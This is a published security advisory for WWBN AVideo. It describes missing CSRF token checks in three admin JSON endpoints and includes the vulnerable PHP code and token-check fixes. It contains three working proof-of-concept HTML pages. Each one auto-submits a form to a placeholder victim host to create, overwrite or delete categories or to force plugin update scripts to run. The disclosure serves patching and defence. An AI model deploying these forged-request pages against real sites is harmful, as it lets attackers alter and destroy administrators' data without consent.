GHSA-FFW8-FWXP-H64W
Vulnerability from github – Published: 2026-04-14 23:12 – Updated: 2026-04-14 23:12
VLAI?
Summary
WWBN AVideo has Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script)
Details
Summary
Three admin-only JSON endpoints — objects/categoryAddNew.json.php, objects/categoryDelete.json.php, and objects/pluginRunUpdateScript.json.php — enforce only a role check (Category::canCreateCategory() / User::isAdmin()) and perform state-changing actions against the database without calling isGlobalTokenValid() or forbidIfIsUntrustedRequest(). Peer endpoints in the same directory (pluginSwitch.json.php, pluginRunDatabaseScript.json.php) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's updateScript() method in the admin's session.
Details
AVideo's CSRF defense is not applied globally — each endpoint must explicitly call isGlobalTokenValid() (defined in objects/functions.php:2313), which verifies $_REQUEST['globalToken']. A search across the codebase shows 18 files that correctly invoke forbidIfIsUntrustedRequest() or isGlobalTokenValid(), while the three endpoints below do not.
1. objects/categoryAddNew.json.php:18 — CSRF create/overwrite category
18 if (!Category::canCreateCategory()) {
19 $obj->msg = __("Permission denied");
20 die(json_encode($obj));
21 }
22
23 $objCat = new Category(intval(@$_POST['id']));
24 $objCat->setName($_POST['name']);
25 $objCat->setClean_name($_POST['clean_name']);
26 $objCat->setDescription($_POST['description']);
27 $objCat->setIconClass($_POST['iconClass']);
28 $objCat->setSuggested($_POST['suggested']);
29 $objCat->setParentId($_POST['parentId']);
30 $objCat->setPrivate($_POST['private']);
31 $objCat->setAllow_download($_POST['allow_download']);
32 $objCat->setOrder($_POST['order']);
33 $obj->categories_id = $objCat->save();
Category::canCreateCategory() (objects/category.php:620-630) returns true for any admin. Because the row is loaded via new Category(intval(@$_POST['id'])), a non-zero id causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.
2. objects/categoryDelete.json.php:10 — CSRF delete category
10 if (!Category::canCreateCategory()) {
11 die('{"error":"' . __("Permission denied") . '"}');
12 }
13 require_once 'category.php';
14 $obj = new Category($_POST['id']);
15 $response = $obj->delete();
No token check. An attacker can force an admin browser to POST any id, deleting rows from categories.
3. objects/pluginRunUpdateScript.json.php:9 — CSRF forced plugin update
9 if (!User::isAdmin()) {
10 forbiddenPage('Permission denied');
11 }
12 if (empty($_POST['name'])) {
13 forbiddenPage('Name can\'t be blank');
14 }
15 ini_set('max_execution_time', 300);
16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php';
17
18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){
19 $_POST['name'] = 'PlayLists';
20 }
21
22 $obj = new stdClass();
23 $obj->error = !AVideoPlugin::updatePlugin($_POST['name']);
AVideoPlugin::updatePlugin() (plugin/AVideoPlugin.php:1452) looks up the plugin by name and, if it defines an updateScript() method, invokes it and then records the new plugin version via Plugin::setCurrentVersionByUuid. No CSRF or Origin check precedes this. By contrast, the sibling endpoint objects/pluginRunDatabaseScript.json.php:16 does call isGlobalTokenValid(), and objects/pluginSwitch.json.php:12 also calls it — confirming this file is an omission.
Why no global mitigation blocks this
isGlobalTokenValid()is not invoked fromobjects/configuration.phpor any other bootstrap; it must be called per-endpoint.isUntrustedRequest()(objects/functionsSecurity.php:146) is only triggered via an explicit call toforbidIfIsUntrustedRequest(); none of the three endpoints call it.- The handlers use
$_POSTdirectly without any framework-level CSRF middleware (AVideo does not use one). Category::canCreateCategory()is purely a role check and does not examine request origin or tokens.
PoC
All three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.
PoC 1 — Create/overwrite category
<!-- evil-create.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/categoryAddNew.json.php" method="POST">
<input name="id" value="0"> <!-- 0 = create; any existing id = overwrite -->
<input name="name" value="Owned">
<input name="clean_name" value="owned">
<input name="description" value="pwn">
<input name="iconClass" value="fas fa-skull">
<input name="suggested" value="1">
<input name="parentId" value="0">
<input name="private" value="0">
<input name="allow_download" value="1">
<input name="order" value="1">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Expected: a new row appears in the categories table, returned as {"error":false,"categories_id":<n>,...}. Changing id=0 to an existing category id overwrites that row's fields.
PoC 2 — Delete category
<!-- evil-delete.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/categoryDelete.json.php" method="POST">
<input name="id" value="2">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Multiple hidden iframes with different id values can walk the category id space and wipe the category tree.
PoC 3 — Force plugin updateScript()
<!-- evil-plugin-update.html -->
<html><body>
<form id=f action="https://victim.example.com/objects/pluginRunUpdateScript.json.php" method="POST">
<input name="name" value="Live">
<input name="uuid" value="anything">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Expected: server logs AVideoPlugin::updatePlugin name=(Live) uuid=(...) and the plugin's updateScript() runs in the admin's session, with execution time extended to 300s.
Impact
- Integrity: An attacker can silently cause the admin's browser to create, mutate, or delete rows in the
categoriestable. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that rendersdescriptionwithout escaping, this becomes a vector for stored XSS propagation. - Availability (partial):
categoryDelete.json.phpis a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow. - Privileged code execution trigger:
pluginRunUpdateScript.json.phplets the attacker force execution of any installed plugin'supdateScript()method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise. - Blast radius: Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.
Recommended Fix
Add an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by pluginSwitch.json.php and pluginRunDatabaseScript.json.php.
// objects/categoryAddNew.json.php (after line 18)
if (!Category::canCreateCategory()) {
$obj->msg = __("Permission denied");
die(json_encode($obj));
}
if (!isGlobalTokenValid()) {
http_response_code(403);
die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
// objects/categoryDelete.json.php (after line 12)
if (!Category::canCreateCategory()) {
die('{"error":"' . __("Permission denied") . '"}');
}
if (!isGlobalTokenValid()) {
http_response_code(403);
die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
// objects/pluginRunUpdateScript.json.php (after line 11)
if (!User::isAdmin()) {
forbiddenPage('Permission denied');
}
if (!isGlobalTokenValid()) {
http_response_code(403);
die('{"error":"' . __('Invalid token') . '"}');
}
forbidIfIsUntrustedRequest();
The long-term fix is to apply forbidIfIsUntrustedRequest() to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all *.json.php endpoints), so that future handlers cannot forget the check.
Severity ?
7.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:12:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThree admin-only JSON endpoints \u2014 `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` \u2014 enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin\u0027s `updateScript()` method in the admin\u0027s session.\n\n## Details\n\nAVideo\u0027s CSRF defense is not applied globally \u2014 each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST[\u0027globalToken\u0027]`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not.\n\n### 1. `objects/categoryAddNew.json.php:18` \u2014 CSRF create/overwrite category\n\n```php\n 18 if (!Category::canCreateCategory()) {\n 19 $obj-\u003emsg = __(\"Permission denied\");\n 20 die(json_encode($obj));\n 21 }\n 22\n 23 $objCat = new Category(intval(@$_POST[\u0027id\u0027]));\n 24 $objCat-\u003esetName($_POST[\u0027name\u0027]);\n 25 $objCat-\u003esetClean_name($_POST[\u0027clean_name\u0027]);\n 26 $objCat-\u003esetDescription($_POST[\u0027description\u0027]);\n 27 $objCat-\u003esetIconClass($_POST[\u0027iconClass\u0027]);\n 28 $objCat-\u003esetSuggested($_POST[\u0027suggested\u0027]);\n 29 $objCat-\u003esetParentId($_POST[\u0027parentId\u0027]);\n 30 $objCat-\u003esetPrivate($_POST[\u0027private\u0027]);\n 31 $objCat-\u003esetAllow_download($_POST[\u0027allow_download\u0027]);\n 32 $objCat-\u003esetOrder($_POST[\u0027order\u0027]);\n 33 $obj-\u003ecategories_id = $objCat-\u003esave();\n```\n\n`Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST[\u0027id\u0027]))`, a non-zero `id` causes the existing row to be overwritten, not just created \u2014 the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.\n\n### 2. `objects/categoryDelete.json.php:10` \u2014 CSRF delete category\n\n```php\n 10 if (!Category::canCreateCategory()) {\n 11 die(\u0027{\"error\":\"\u0027 . __(\"Permission denied\") . \u0027\"}\u0027);\n 12 }\n 13 require_once \u0027category.php\u0027;\n 14 $obj = new Category($_POST[\u0027id\u0027]);\n 15 $response = $obj-\u003edelete();\n```\n\nNo token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`.\n\n### 3. `objects/pluginRunUpdateScript.json.php:9` \u2014 CSRF forced plugin update\n\n```php\n 9 if (!User::isAdmin()) {\n 10 forbiddenPage(\u0027Permission denied\u0027);\n 11 }\n 12 if (empty($_POST[\u0027name\u0027])) {\n 13 forbiddenPage(\u0027Name can\\\u0027t be blank\u0027);\n 14 }\n 15 ini_set(\u0027max_execution_time\u0027, 300);\n 16 require_once $global[\u0027systemRootPath\u0027] . \u0027plugin/AVideoPlugin.php\u0027;\n 17\n 18 if($_POST[\u0027uuid\u0027] == \u0027plist12345-370-4b1f-977a-fd0e5cabtube\u0027){\n 19 $_POST[\u0027name\u0027] = \u0027PlayLists\u0027;\n 20 }\n 21\n 22 $obj = new stdClass();\n 23 $obj-\u003eerror = !AVideoPlugin::updatePlugin($_POST[\u0027name\u0027]);\n```\n\n`AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it \u2014 confirming this file is an omission.\n\n### Why no global mitigation blocks this\n\n- `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint.\n- `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it.\n- The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one).\n- `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens.\n\n## PoC\n\nAll three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.\n\n### PoC 1 \u2014 Create/overwrite category\n\n```html\n\u003c!-- evil-create.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/categoryAddNew.json.php\" method=\"POST\"\u003e\n \u003cinput name=\"id\" value=\"0\"\u003e \u003c!-- 0 = create; any existing id = overwrite --\u003e\n \u003cinput name=\"name\" value=\"Owned\"\u003e\n \u003cinput name=\"clean_name\" value=\"owned\"\u003e\n \u003cinput name=\"description\" value=\"pwn\"\u003e\n \u003cinput name=\"iconClass\" value=\"fas fa-skull\"\u003e\n \u003cinput name=\"suggested\" value=\"1\"\u003e\n \u003cinput name=\"parentId\" value=\"0\"\u003e\n \u003cinput name=\"private\" value=\"0\"\u003e\n \u003cinput name=\"allow_download\" value=\"1\"\u003e\n \u003cinput name=\"order\" value=\"1\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nExpected: a new row appears in the `categories` table, returned as `{\"error\":false,\"categories_id\":\u003cn\u003e,...}`. Changing `id=0` to an existing category id overwrites that row\u0027s fields.\n\n### PoC 2 \u2014 Delete category\n\n```html\n\u003c!-- evil-delete.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/categoryDelete.json.php\" method=\"POST\"\u003e\n \u003cinput name=\"id\" value=\"2\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nMultiple hidden iframes with different `id` values can walk the category id space and wipe the category tree.\n\n### PoC 3 \u2014 Force plugin updateScript()\n\n```html\n\u003c!-- evil-plugin-update.html --\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=f action=\"https://victim.example.com/objects/pluginRunUpdateScript.json.php\" method=\"POST\"\u003e\n \u003cinput name=\"name\" value=\"Live\"\u003e\n \u003cinput name=\"uuid\" value=\"anything\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nExpected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin\u0027s `updateScript()` runs in the admin\u0027s session, with execution time extended to 300s.\n\n## Impact\n\n- **Integrity:** An attacker can silently cause the admin\u0027s browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation.\n- **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow.\n- **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin\u0027s `updateScript()` method (with a 5-minute execution window) in the admin\u0027s context. When chained with other primitives that influence plugin state or the plugin\u0027s own update logic, this is a foothold for deeper compromise.\n- **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.\n\n## Recommended Fix\n\nAdd an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`.\n\n```php\n// objects/categoryAddNew.json.php (after line 18)\nif (!Category::canCreateCategory()) {\n $obj-\u003emsg = __(\"Permission denied\");\n die(json_encode($obj));\n}\nif (!isGlobalTokenValid()) {\n http_response_code(403);\n die(\u0027{\"error\":\"\u0027 . __(\u0027Invalid token\u0027) . \u0027\"}\u0027);\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/categoryDelete.json.php (after line 12)\nif (!Category::canCreateCategory()) {\n die(\u0027{\"error\":\"\u0027 . __(\"Permission denied\") . \u0027\"}\u0027);\n}\nif (!isGlobalTokenValid()) {\n http_response_code(403);\n die(\u0027{\"error\":\"\u0027 . __(\u0027Invalid token\u0027) . \u0027\"}\u0027);\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/pluginRunUpdateScript.json.php (after line 11)\nif (!User::isAdmin()) {\n forbiddenPage(\u0027Permission denied\u0027);\n}\nif (!isGlobalTokenValid()) {\n http_response_code(403);\n die(\u0027{\"error\":\"\u0027 . __(\u0027Invalid token\u0027) . \u0027\"}\u0027);\n}\nforbidIfIsUntrustedRequest();\n```\n\nThe long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.",
"id": "GHSA-ffw8-fwxp-h64w",
"modified": "2026-04-14T23:12:39Z",
"published": "2026-04-14T23:12:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/ee5615153c40628ab3ec6fe04962d1f92e67d3e2"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo has Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script)"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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